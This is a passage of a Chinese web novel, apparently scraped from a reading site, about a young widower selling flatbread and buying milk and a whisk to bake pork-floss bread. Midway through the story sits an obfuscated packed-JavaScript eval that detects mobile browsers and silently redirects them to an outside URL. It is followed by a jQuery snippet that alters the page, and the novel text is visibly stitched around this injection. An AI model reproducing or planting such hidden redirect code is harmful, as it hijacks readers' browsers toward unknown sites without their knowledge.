那碗茄子烧肉光他一人吃了。 崔父：“……大宝你吃些肉，豆子现在还吃不了肉？” “爹，我不敢吃。”孙豆子说。 崔父正欲说什么。 崔大宝说：“我吃了，爹你吃什么，你赶紧吃，多吃点。”把茄子炒肉换到了他爹面前，这盘菜一看就难吃，他才不吃！ 崔父：…… 吃过饭，孙豆子去洗碗筷。 崔父拦着儿子，说：“你爹我不是刻薄人，只是豆子身体弱，养了三年了，你也老大不小了，没个孩子，我要是死了，到地底下怎么跟你阿爹交代啊。” “那也不能强逼着豆子吃肉，吃完了就闹肚子，更伤身体。”崔大宝嘟囔，又说：“不过今个吃了小汤老板肉锅盔，肚子也没响，吃这个成。” 崔父高兴了，“真的？那你以后买了锅盔，给豆子也捎带上，我吃不吃都行，你们俩要好好吃，吃壮实点。” 于是第二天。 汤显灵照旧时间起，先去打水，门一开，崔大宝崔大爷又候着了，汤显灵：…… 被逗乐了。 “崔大爷诶，您知道我什么时候开铺子，昨个下雨天寒水汽重，来这么早也是干等着。” “昨个儿晌午睡了一下午，没觉。”崔大宝见小汤老板拎着俩桶挑着扁担，退开说：“你去打水吧，跟昨个一样，给我拿个凳子就行。” 汤显灵：“……”给大顾客搬凳子。 然后他去挑水了。 早上天黑路面湿漉漉的刮着冷风，倒是不下了。汤显灵去了两次，第一次回来时，除了崔大宝，旁边还多了一位食客，看着脸熟，是昨个儿没买到饼的客人。 这位客人见了小汤老板就说：“我一看下雨就知道梅干菜要坏菜，是不是再卖两日就没货了？可不得紧着今个来。”他连着两天都没吃到，今个必须吃到嘴。 “……”食客比他还知道家里的存货量。自然也是他昨个说的。 汤显灵点点头，有心给自家未来新品打广告，笑眯眯说：“是，不过我新琢磨出来一种烤面包，咸口的带着肉松，这个手艺更复杂些。” 食客对新花样不感兴趣，他连锅盔都没吃到嘴呢。 倒是崔大宝好奇，“肉松？什么肉还是松的？” “猪肉，我自己做松散开，滋味我说好吃，有点像自夸了。”汤显灵简单说：“等过几日肉松面包上来了您可以来试试。” 崔大宝见没货，干嘴说也没意思，便点点头。 等小汤老板又去挑水。 崔大宝才想：也不知道那肉松跟肉锅盔一样不一样。 汤显灵第二次挑水回来，门口食客又多了俩。汤显灵：…… 不是，不要鸡我啊！！！ 心里这么想，汤显灵赶紧回灶屋去准备，好在蒋芸已经煮好了豆子，梅干菜也温水洗过拧干，他只需要调馅就行。 “朱四送来了肉，我接了，我还跟他说猪里脊都给你留着。”蒋芸在灶屋说，她有点忐忑，不知道交代的对没对，因为五哥儿没让她说。 汤显灵一听，松了口气，“谢谢娘，我差点都忘了给朱老板说这事，幸好你记着。” “那就好，没误了你的事就好。”蒋芸忐忑的神色没了，露出了笑容。 这一日早上，汤五哥朝食店隐约比昨日提早开了一小会。 汤显灵拍饼的时候想：他不会被食客鸡的到时候店开的越来越早吧？ 16.第十六章 第十六章 卢家小院。 卢二郎昨日下午回来的，吃过家里给他留的锅盔，因为放凉了，妹妹给热了一下，滋味其实很寻常，但他知道是家里人爱护他，特意给他留着好吃的，因此不管滋味如何，心里是感动的。 “好吃。” 卢三娘一看二哥神色，就知道，二哥不觉得很好吃。 “怎么三娘想吃了？”卢二郎不馋嘴，将饼递给妹妹，“都给你。” 卢三娘气得原地跳，“我才不馋嘴呢，二哥小瞧人。” “好好是我误会了，我想给三娘吃饼。”卢二郎乐呵呵说。 卢三娘还是气鼓鼓的，先是啃了一口饼，再加热的锅盔有点点软，吃起来没那么好吃了，不由说：“二哥不怪饼，你要是明日下午去药堂，我早上再给你买刚烤出来的。” “不用，我不爱吃饼。”卢二郎笑说。 卢三娘却非要给二哥尝新鲜烤出来的锅盔。二哥在外学医半个多月很辛苦的，阿娘说的，她问起来，二哥什么坏处辛苦都不说，哪哪都说好，可她也不是很信。 外头自然比不得家中。 因此有了好吃的锅盔，卢三娘是真的想要二哥吃好的。 “行行行都随你。”卢二郎拗不过妹妹，随口一问：“这饼多钱？我给你钱。” 卢大郎到了后院，闻言说：“你别给她钱，你身上留着钱在外头花，我给。” “就是，二哥，我们要大哥钱！”卢三娘嘴上说好听的，“大哥最有钱啦。” 兄妹三人都笑了起来。 这日大早上。 卢二郎在家中还没起，他回来在家住一晚，爹娘就让他多睡会，别吵着他，不过长年累月早起，已经习惯了，这会躺在床上，听到三娘压着声也压不住急，说：“大哥，你快给我钱，隔壁又排起队伍了。” “我刚去瞧过，第一批已经卖完了！” 卢大郎声小：“崔大爷又早起守着了？” “还有旁人，今个好几人呢。” 屋里卢二郎想，昨个那饼他吃过，饼馅滋味是特别一些但也还好吧，怎么隔壁还排起队伍来？ 于是卢二郎也不睡了，隔着门跟三娘说：“不急，我跟你一道过去买。” “可不能不急，一会要卖完了。”三娘说完，拿了银钱就往出跑，“二哥我一会就回来。” 卢二郎被勾起了好奇心，穿衣洗漱刷牙，等他做完了，三娘还没回来，不由说：“哥，我去隔壁瞧瞧热闹。” “你去。”卢大郎在院子磨面粉，娘看铺子，爹包馒头蒸馒头，自从隔壁卖起锅盔，买馒头充当朝食的客人少了些，不过也不碍事，他家也不是朝食铺子，卖一日呢。 卢二郎刚出自家铺子就能听到热闹声：我要两个豆沙、再来个梅干菜肉的、我要三个…… 不由诧异，生意这般好吗？ 汤家铺子门前排满了人，卢二郎一眼看到三娘在里头等着，便往里走，有人喊：“嘿排队，怎么插队。”、“排队排队。” 卢二郎反应过来说他，忙退到门口一旁说：“我来寻我妹子，不是插队。” 等了一会，卢三娘拎着食篮出来了，见二哥，赶紧递了篮子给二哥看，脆生生说：“二哥你快吃，真的好吃。” “先回家吧。”卢二郎没碰锅盔。 到了自家铺子。 卢二郎见铺子里只有零星几个人买馒头，他娘收钱，爹抬了一笼刚出炉的素馅馒头往桌子上放，卢二郎上前搭了把手，等客人走了，才说：“我看隔壁生意很好，咱们家是不是受了些影响了？” “不碍事，五哥儿只卖一个多时辰，每日量少。”陈巧莲说完，见三娘又买了锅盔，便跟二儿子说：“那锅盔饼热了好吃，你们赶紧吃吧。” 卢三娘拿着递给二哥，自己拿了半块掰开送阿娘嘴边，又给爹送过去，“我今日只买了三张，大哥说省一省，不天天吃这个。” 卢父逗乐了，哈哈直笑。 “我家三娘懂事，不过你能吃几张饼？吃吧吃吧。”陈巧莲说。她家三娘在家能留几年？以后嫁人了，日子就不像在自家这般，几张锅盔，她还是舍得的。 卢三娘笑成了一团，跑去后院给大哥送饼，又跑了回来，巴巴看二哥，“二哥二哥，你快吃，还没说好不好吃？” 卢二郎被妹子逗笑了，咬了口，当即是神色不一样，望着手里锅盔，眼底掩饰不住的诧异。卢三娘一见，不用听答案了，高兴的蹦蹦跳跳去后院给大哥送锅盔。 “爹娘，隔壁饼确实好吃，他家买卖做得好，要是以后量多了咱家可咋办。”卢二郎吃着美味的锅盔饼，操心起家里生意来了。 这可把陈巧莲卢父问住了。 过了一会，卢父说：“我们卢家在正街也卖了二十多年馒头了，咱们家卖的便宜实惠，坊里邻居离不开咱家馒头的，放心吧。” 卢二郎点点头，爹说的也对。 虽是这般想，吃完饼，卢二郎也没回后院，就在铺子前帮忙，时不时去外头瞧两眼，看的是隔壁铺子，果然过了半个多时辰，隔壁就卖完了。 汤五哥儿说：“不用排了，今个卖完了。” “明日请——”汤显灵本来要说：明日请早。硬生生把话改成了，“明日请再来。” 食客有的闻言散了，改吃别的，有的留步还有话问：“小汤老板，你家梅干菜是不是明日就没了？”、“这么快没了？我家老太太爱吃你家梅干菜，也不知道这个怎么做？” 汤显灵听到后面那人问话，明晃晃这么直白打听做法吗？ “是只剩明日的量，我后日打算卖别的，您可以来尝尝新鲜。” 第一个问题的人点点头，“那我明个得来早点。” 汤显灵：…… 至于第二个问题，汤显灵眉眼笑弯弯，话却说的大喇喇直白：“梅干菜是我家招牌，做法得保密，我和我娘嚼头、我爹药钱都要靠这个，实在是对不住不能说。”再卖卖可怜。 “你这人怎么打听起做法来了。”刚说明日早来的食客闻言替汤五哥说话，“人家做买卖的法子，能白白告诉你？” 问法子的人立即赔笑，嘴上说：“这不是好几天没买到，就问问，是糊涂了，一时没想到这方面，我的不是。”说完脚底抹油跑了。 汤显灵跟帮他说话的食客道谢，“谢谢您仗义执言。” “他就是见你是个寡夫郎，才厚着脸皮打听这个，他怎么不敢问隔壁卢家做馒头的法子？”卢家可是有两个男郎的。 汤显灵挣扎：……我、也是、男的…… 唉算了。 都是食客好心帮忙，辩解这个没意思了。 说到卢家，汤显灵想到发面用的酵头，送完了食客，跟蒋芸说他去隔壁一趟，从钱篓子里拿了十文钱——他也不知道酵头要多钱。 汤显灵到了隔壁，见个脸生的少年大约十四五岁，个头不高有些瘦，不过和卢大郎长得很像，一看便知道这就是在外学医的卢二郎。 对方见他看他，立刻移开了眼。 汤显灵没再看，问：“卢老板，老板娘，我想买些酵头。” “酵头？”陈巧莲说了一遍，旁边卢父道：“你给五哥儿取一些，这哪里用买，送你了，不值几个钱。” 背后卢二郎心里咯噔，汤五哥要酵头作甚，不会也要卖馒头吧？ 汤显灵推诿不过——他真的不会做，我给你钱，你挡着不要，我再硬塞，你再热情拒绝，我丢了钱在桌上拿着酵头赶紧跑这套流程。 他、真的、不会。 他以前收红包都是默默打开衣兜的。 等他从卢家拿了酵头，又笑着说不用送了云云，回到铺子擦了擦汗，隔壁人家好热情，将酵头放好，说：“娘，不着急还碗，我白拿人家东西，回头等我烤好了面包，给隔壁送一些，正好把碗还了。” “是该的。”蒋芸点点头，又小声说：“五哥儿，你别在你爹跟前提给隔壁送东西。” 汤显灵：？ 反应了会，才想起来是什么缘故。 “老汤头脑子有毛病，真是小心眼。” 蒋芸吓得四处看，见没人听见才松了口气，五哥儿胆子太大了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15377785|167339||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 汤显灵麻利盘帐，成本钱、备用金、讼师钱，各存起来，此时才早上九点多，“娘，我去东市买些东西，家里你先顾着，晌午我要是赶不及回来，你先吃不等我。” 说完，汤显灵揣着备用金，凑了个整数六百文，一大袋子钱，拎着篮子，出门了。出了正街直接‘打车’去东市，车夫见他一个人且瘦，问他要了三文钱。 短短几日，他都过上了打车生活。 汤显灵：日子是越来越好了。 有钱.jpg 坐车确实比腿快，到了东市入口，很是热闹，大大小小商贾、商队络绎不绝，自然了城里老爷少爷有钱妇人夫郎也不少见，汤显灵直奔胡人铺子那半条街。 逛完了，牛乳有，要多少有多少，黄油？黄油是啥？ 胡人老板还怕没听清，叫来了店里荣朝人伙计，让伙计在中间当翻译。汤显灵：…… 他有点绝望，但仍然抱着一丝丝幻想，连说带比划，他怕此时黄油不叫黄油，说的很详细，然后伙计认真耐心听完，跟老板用胡人语说了一通，最后摇头：“客人，没有，我们老板说从没见过这样东西。” 汤显灵：！！！ 绝望，也不是真的绝望。 因为他知道黄油怎么做，但是没有打蛋器，手搓的话，他感觉胳膊要废，昨个儿还信誓旦旦最迟今晚吃到肉松大面包—— 勇敢汤显灵不怕困难。 于是大吃货汤显灵把自己哄好了，一咬牙，跟伙计说：“给我来一桶牛奶。” “能送货吧？” 伙计眉开眼笑：“能能能。”原以为这桩买卖没戏，没想到还是个大客户。 奉元城百姓多吃羊，羊乳也比较便宜量多，牛乳的话要贵一些，但也不算特别离谱的贵，伙计这么高兴是因为，天气热，牛乳卖不出去要倒掉，能卖一桶少一桶。 难得有大客户要这么多牛乳。 一水桶牛乳四十文钱，免费送到家。 汤显灵交了一半的钱，报了自家地址，就可以先回家等送货上门了。他没急着回家，真手打肯定不行，做生意以后用量要多，一日手打还行，天天打，他别干别的了。 他想到现代的手拉打蒜器，这也不是用电的，要是打蛋器的话最好手摇，不过要装齿轮。他以前看盗墓小说，古墓机关设计，古代是有齿轮的。 荣朝还是很繁荣的。 求求上天，给我个齿轮手摇打蛋器吧。 汤显灵转头去西市，这次没坐车，因为东西两市离得不远，他走路过去二十多分钟就能到，找了打铁匠开始询问，连比带划，铁匠是听的一头雾水，倒是旁边小儿子眼神有些亮。 “你是不是懂我意思？” “有一点点明白。”铁匠儿子点头。 汤显灵：！又给比划了一通。 最后说：“要是能做出来的话，要多少钱？” 铁器很贵，铺子里那种大铁锅起码得二两银子，这个齿轮虽然用铁少但是更精巧，至于铁会生锈，都可以解决，勤保养，用完擦干涂油。 铁匠儿子说：“起码得二两，还要琢磨，而且你要的大，我预计钱更多。” “不是坑你，真的要贵，起码要三两半到四两。” 汤显灵：……打扰了，他先手搓。 “我现在没那么多钱，要不，我有钱了再来。”汤显灵跟小铁匠说。 小铁匠说：“成啊。反正我也不会做。”但他好奇这位夫郎说的手柄一摇，齿轮能带动底下的铁叉子，铁叉子好做，就是齿轮得琢磨琢磨。 他可以先用木头竹片试试看。 汤显灵来的时候怀里揣了六百文觉得自己是个有钱人，此时，还得再赚！ 渴望吃肉松面包占上风，汤显灵出了铁匠铺子，转头去木匠杂货店，看中了一个大号厨房洗刷锅碗的刷子，用竹子做的，柄长一些，底下竹子条爆开，正好可以做打蛋器。 “多钱？” “八文钱一个。” 汤-有钱人：“买了！”他还是有钱的！ 回去就做肉松大面包。